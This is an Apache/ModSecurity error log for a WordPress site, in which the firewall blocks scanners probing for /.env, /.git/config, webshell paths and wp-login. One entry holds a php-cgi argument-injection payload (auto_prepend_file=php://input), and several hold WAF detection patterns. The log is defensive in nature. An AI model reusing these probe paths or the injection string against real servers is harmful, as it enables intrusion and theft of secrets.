[Tue Dec 16 04:08:49.378282 2025] [autoindex:error] [pid 33917:tid 33989] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:08:55.508882 2025] [autoindex:error] [pid 33917:tid 33983] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:08:55.975387 2025] [autoindex:error] [pid 33917:tid 33987] [client 45.154.138.37:54947] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 07:14:52.550313 2025] [:error] [pid 51991:tid 52008] [client 213.238.183.218:50930] [client 213.238.183.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.238.183.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUCWbK7zKCVJSuwV1xZq3AAAAQ8"]
[Tue Dec 16 07:14:54.793870 2025] [:error] [pid 51991:tid 51999] [client 213.238.183.218:50930] [client 213.238.183.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.238.183.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUCWbq7zKCVJSuwV1xZq4QAAAQY"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 16 11:23:20.990493 2025] [:error] [pid 18322:tid 18342] [client 43.140.247.223:36698] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aUDQqJsCeWBjrw28XtyDdQAAABA"]
[Tue Dec 16 16:05:11.031667 2025] [:error] [pid 35998:tid 36021] [client 138.197.191.87:47712] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/api-docs"] [unique_id "aUEStxKnhGuuhGxBSLOHHgAAAVQ"]
[Tue Dec 16 16:05:12.034141 2025] [:error] [pid 18323:tid 18358] [client 138.197.191.87:47714] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3/api-docs"] [unique_id "aUESuDJB6UFxIutsA8b_-gAAAEU"]
[Tue Dec 16 16:05:13.023661 2025] [:error] [pid 18324:tid 18394] [client 138.197.191.87:47726] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api-docs/swagger.json"] [unique_id "aUESuaG4um2mD1VpJHJlQwAAAI4"]
[Tue Dec 16 16:05:14.023682 2025] [:error] [pid 53940:tid 53962] [client 138.197.191.87:47742] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api/swagger.json"] [unique_id "aUESul91PNbcXLVkpR6-ygAAAdM"]
[Tue Dec 16 16:05:15.027943 2025] [:error] [pid 51991:tid 52003] [client 138.197.191.87:47746] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/@vite/env"] [unique_id "aUESu67zKCVJSuwV1xZZmQAAAQo"]
[Tue Dec 16 16:05:16.015257 2025] [:error] [pid 51991:tid 51999] [client 138.197.191.87:47752] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/actuator/env"] [unique_id "aUESvK7zKCVJSuwV1xZZnQAAAQY"]
[Tue Dec 16 16:05:17.025486 2025] [:error] [pid 35998:tid 36009] [client 138.197.191.87:47766] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aUESvRKnhGuuhGxBSLOHJAAAAUg"]
[Tue Dec 16 16:05:18.026060 2025] [:error] [pid 18408:tid 18419] [client 138.197.191.87:47772] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server"] [unique_id "aUESvji2Gr8pDzjrVBDYbQAAAMk"]
[Tue Dec 16 16:05:19.017870 2025] [:error] [pid 35998:tid 36016] [client 138.197.191.87:59988] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aUESvxKnhGuuhGxBSLOHJwAAAU8"]
[Tue Dec 16 16:05:21.028911 2025] [:error] [pid 12330:tid 12357] [client 138.197.191.87:59990] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about"] [unique_id "aUESwV6iIQEVCIh8V1lHRQAAAZc"]
[Tue Dec 16 16:05:22.030632 2025] [:error] [pid 12330:tid 12346] [client 138.197.191.87:59994] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug/default/view"] [unique_id "aUESwl6iIQEVCIh8V1lHSQAAAYw"]
[Tue Dec 16 16:05:23.020967 2025] [:error] [pid 18408:tid 18410] [client 138.197.191.87:60008] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/_catalog"] [unique_id "aUESwzi2Gr8pDzjrVBDYcgAAAMA"]
[Tue Dec 16 16:05:24.040944 2025] [:error] [pid 51991:tid 52005] [client 138.197.191.87:60016] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aUESxK7zKCVJSuwV1xZZowAAAQw"]
[Tue Dec 16 16:05:25.034013 2025] [:error] [pid 18324:tid 18383] [client 138.197.191.87:60026] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server-status"] [unique_id "aUESxaG4um2mD1VpJHJlVQAAAIM"]
[Tue Dec 16 16:05:26.021252 2025] [:error] [pid 18324:tid 18385] [client 138.197.191.87:60042] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login.action"] [unique_id "aUESxqG4um2mD1VpJHJlVgAAAIU"]
[Tue Dec 16 16:05:27.029703 2025] [:error] [pid 18324:tid 18384] [client 138.197.191.87:60052] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_all_dbs"] [unique_id "aUESx6G4um2mD1VpJHJlWAAAAIQ"]
[Tue Dec 16 16:05:28.030114 2025] [:error] [pid 18408:tid 18414] [client 138.197.191.87:60066] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.DS_Store"] [unique_id "aUESyDi2Gr8pDzjrVBDYeQAAAMQ"]
[Tue Dec 16 16:05:29.032452 2025] [:error] [pid 12330:tid 12346] [client 138.197.191.87:48772] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aUESyV6iIQEVCIh8V1lHUgAAAYw"]
[Tue Dec 16 16:05:31.024370 2025] [:error] [pid 18322:tid 18326] [client 138.197.191.87:48780] [client 138.197.191.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aUESy5sCeWBjrw28XtzZIwAAAAA"]
[Tue Dec 16 16:05:32.023846 2025] [:error] [pid 18323:tid 18371] [client 138.197.191.87:48790] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aUESzDJB6UFxIutsA8YADQAAAFI"]
[Tue Dec 16 16:05:33.036415 2025] [:error] [pid 53940:tid 53956] [client 138.197.191.87:48794] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.json"] [unique_id "aUESzV91PNbcXLVkpR6-3AAAAc0"]
[Tue Dec 16 16:05:34.035493 2025] [:error] [pid 18323:tid 18369] [client 138.197.191.87:48798] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/telescope/requests"] [unique_id "aUESzjJB6UFxIutsA8YAFwAAAFA"]
[Tue Dec 16 16:05:35.026292 2025] [:error] [pid 51991:tid 51994] [client 138.197.191.87:48806] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUESz67zKCVJSuwV1xZZrAAAAQE"]
[Tue Dec 16 16:05:36.074699 2025] [:error] [pid 18323:tid 18357] [client 138.197.191.87:48812] [client 138.197.191.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUES0DJB6UFxIutsA8YAGgAAAEQ"]
[Tue Dec 16 20:00:42.035449 2025] [:error] [pid 35998:tid 36008] [client 43.133.66.51:59990] [client 43.133.66.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUFJ6hKnhGuuhGxBSLO0fwAAAUc"]
[Tue Dec 16 21:10:48.348743 2025] [:error] [pid 12330:tid 12356] [client 46.101.1.225:32910] [client 46.101.1.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aUFaWF6iIQEVCIh8V1mU1QAAAZY"]
[Tue Dec 16 21:11:01.129834 2025] [authz_core:error] [pid 51991:tid 51998] [client 46.101.1.225:50578] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Tue Dec 16 21:11:07.256190 2025] [:error] [pid 53940:tid 53954] [client 46.101.1.225:50610] [client 46.101.1.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aUFaa191PNbcXLVkpR4A9AAAAcs"]
[Tue Dec 16 21:11:09.247028 2025] [:error] [pid 35998:tid 36017] [client 46.101.1.225:50614] [client 46.101.1.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aUFabRKnhGuuhGxBSLPBcgAAAVA"]
[Tue Dec 16 21:20:43.400566 2025] [:error] [pid 18408:tid 18413] [client 43.153.102.138:42204] [client 43.153.102.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aUFcqzi2Gr8pDzjrVBAz8QAAAMM"]
[Tue Dec 16 22:35:12.335199 2025] [:error] [pid 35998:tid 36012] [client 20.215.254.211:10335] [client 20.215.254.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUFuIBKnhGuuhGxBSLPS0wAAAUs"]
[Tue Dec 16 22:35:12.341410 2025] [:error] [pid 18323:tid 18355] [client 20.215.254.211:10317] [client 20.215.254.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUFuIDJB6UFxIutsA8ZTKQAAAEI"], referer: www.google.com
[Tue Dec 16 22:35:15.347894 2025] [:error] [pid 12330:tid 12350] [client 20.215.254.211:10308] [client 20.215.254.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUFuI16iIQEVCIh8V1mt1AAAAZA"]
[Tue Dec 16 22:35:15.446453 2025] [:error] [pid 18324:tid 18386] [client 20.215.254.211:10325] [client 20.215.254.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUFuI6G4um2mD1VpJHLGlwAAAIY"], referer: www.google.com
[Tue Dec 16 22:35:18.012282 2025] [:error] [pid 12330:tid 12345] [client 20.215.254.211:10319] [client 20.215.254.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUFuJl6iIQEVCIh8V1mt2wAAAYs"]
[Tue Dec 16 22:35:18.272887 2025] [:error] [pid 18408:tid 18427] [client 20.215.254.211:10240] [client 20.215.254.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUFuJji2Gr8pDzjrVBBTzQAAANE"], referer: www.google.com
[Tue Dec 16 22:35:18.274448 2025] [:error] [pid 18322:tid 18342] [client 20.215.254.211:10316] [client 20.215.254.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUFuJpsCeWBjrw28XtwwwQAAABA"]
[Tue Dec 16 22:35:21.712069 2025] [:error] [pid 53940:tid 53949] [client 20.215.254.211:10305] [client 20.215.254.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUFuKV91PNbcXLVkpR4VQAAAAcY"], referer: www.google.com
[Tue Dec 16 22:35:21.994944 2025] [:error] [pid 53940:tid 53962] [client 20.215.254.211:10642] [client 20.215.254.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUFuKV91PNbcXLVkpR4VQQAAAdM"]
[Tue Dec 16 22:35:24.979222 2025] [:error] [pid 12330:tid 12353] [client 20.215.254.211:10663] [client 20.215.254.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUFuLF6iIQEVCIh8V1mt4gAAAZM"], referer: www.google.com
[Wed Dec 17 06:21:08.295507 2025] [:error] [pid 13217:tid 13275] [client 182.42.111.156:38342] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUHbVLKPEDQzeQkr6QIuyQAAAIM"]
[Wed Dec 17 07:36:05.677513 2025] [:error] [pid 7715:tid 7728] [client 202.73.26.78:64898] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aUHs5ZAcSlSgZepNKb_VcQAAAQs"]
[Wed Dec 17 07:36:06.220593 2025] [:error] [pid 13217:tid 13275] [client 202.73.26.78:62184] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "aUHs5rKPEDQzeQkr6QJOXwAAAIM"]
[Wed Dec 17 07:36:06.797110 2025] [:error] [pid 13216:tid 13266] [client 202.73.26.78:58669] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/style.php"] [unique_id "aUHs5tkjYVDtADMjze5JbQAAAFI"]
[Wed Dec 17 07:36:07.336468 2025] [:error] [pid 7715:tid 7726] [client 202.73.26.78:49153] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/style.php"] [unique_id "aUHs55AcSlSgZepNKb_VdAAAAQk"]
[Wed Dec 17 07:36:07.932521 2025] [:error] [pid 13216:tid 13254] [client 202.73.26.78:61042] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style.php"] [unique_id "aUHs59kjYVDtADMjze5JcgAAAEc"]
[Wed Dec 17 07:36:08.467904 2025] [:error] [pid 13302:tid 13311] [client 202.73.26.78:51383] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aUHs6BDfKV-_W5RvJZ_EBwAAAMc"]
[Wed Dec 17 07:36:10.520701 2025] [:error] [pid 13216:tid 13252] [client 202.73.26.78:50190] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aUHs6tkjYVDtADMjze5JfQAAAEU"]
